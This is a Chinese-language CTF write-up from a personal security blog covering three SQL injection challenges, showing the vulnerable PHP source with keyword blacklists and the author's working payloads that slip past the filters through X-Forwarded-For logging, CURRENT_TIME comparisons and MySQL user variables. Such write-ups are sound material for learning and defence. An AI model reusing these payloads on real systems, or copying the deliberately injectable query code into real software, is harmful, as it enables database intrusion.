HeartSky's blog


在渗透之路上渐行渐远


一个有趣的 SQL 注入小系列

昨天和小伙伴们打了一场越南的 SeePwn CTF,题目质量比想象中的高(虽然也是被虐了。感觉这个 SQL 注入的三道题目蛮有趣的,便记录下并给出自己的思考。

Br0kenMySQL1

直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

if($_GET['debug']=='🕵') die(highlight_file(__FILE__));

require 'config.php';

$link = mysqli_connect('localhost', MYSQL_USER, MYSQL_PASSWORD);

if (!$link) {
die('Could not connect: ' . mysql_error());
}

if (!mysqli_select_db($link,MYSQL_USER)) {
die('Could not select database: ' . mysql_error());
}

$id = $_GET['id'];
if(preg_match('#sleep|benchmark|floor|rand|count#is',$id))
die('Don\'t hurt me :-(');
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];

if($username === 'guest'){

$ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
if(preg_match('#sleep|benchmark|floor|rand|count#is',$ip))
die('Don\'t hurt me :-(');
var_dump($ip);
if(!empty($ip))
mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");

$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];
if($username === 'admin'){
echo "What ???????\nLogin as guest&admin at the same time ?\nSeems our code is broken, here is your bounty\n";
die(FLAG);
}
echo "Nothing here";
} else {
echo "Hello ".$username;
}
?>

第一次查询 username 得到的是 guest,第二次查询变成了 admin (id=1 是 admin,id=2 是 guest)。那么这中间多了什么操作呢,一个插入语句以及时间的变化,所以根据这两点就有两个方向的思路。

第一个思路就够解决这个问题了,根据能否查询到 ip 的记录作为判断条件

1
2
id=if((select ip from logs where ip='127.0.0.123' limit 1),1,2)%23
X-Forwarded-For: 127.0.0.123

Br0kenMySQL2

和上题一样,只不过多了点过滤

1
2
if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)#is',$id))
die('Don\'t hurt me :-(');

select 和 from 被禁用,第一个思路行不通了。同时,过滤了圆括号,意味着大部分函数不能用了,但不是所有的函数,为什么这么说呢,因为有些特殊的函数是没有圆括号的。同时结合两个 select 语句时间不一样,我们可以采用有关时间的函数,从官方文档上可以找到这些

1
2
3
4
CURRENT_TIME
CURRENT_DATE
CURRENT_TIMESTAMP
LOCALTIMESTAMP

以 CURRENT_TIME 为例

1
2
3
4
5
6
7
8
9
10
11
12
13
mysql> SELECT CURRENT_TIME;
+--------------+
| CURRENT_TIME |
+--------------+
| 20:39:27 |
+--------------+

mysql> SELECT CURRENT_TIME+0;
+----------------+
| CURRENT_TIME+0 |
+----------------+
| 203934 |
+----------------+

所以可以先获得本地当前时间,然后选取一个靠后点的时间,满足第一个 select 语句在这个时间点前,而第二个 select 语句在这个时间点后便可(注意时差问题),我这里用的是或语句

1
id=2||current_time>51630%23

默认是 guest,当满足时间条件时,查询得到的第一条记录是 id=1。然后开着 burp 跑就行了

Br0kenMySQL3

更加严格的黑名单

1
2
if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|day#is',$id))
die('Don\'t hurt me :-(');

过滤了日期和时间函数有关的关键字。那么刚开始想的两条路就走不通了,重新思考下,这两点都是系统产生的的变化,换句话说是我们不用做什么就可以产生的变化。如果我们手动产生变化呢?刚开始想到了系统变量,但是它的值不能改变,想到用户自定义变量,如果在第一条语句中定义了一个自定义变量,根据它是否为 NULL 作为判断条件。尴尬的是没想到除了 if 还可以用 case 语句,而且没有圆括号

1
id=case when @hs is null then @hs:=2 else 1 end%23

好吧,通杀三道题 = =

但是后来我发现其实不用 case 语句也是可以的

1
id=2||@hs is not null||@hs:=0%23

思考

问题的关键在于两者间有什么不一样的,中间发生了什么变化,其中系统产生了哪些变化,我们手动又可以产生哪些变化,然后到特定的 MySQL 中又怎么来实现

虽然题目不难,但思路值得学习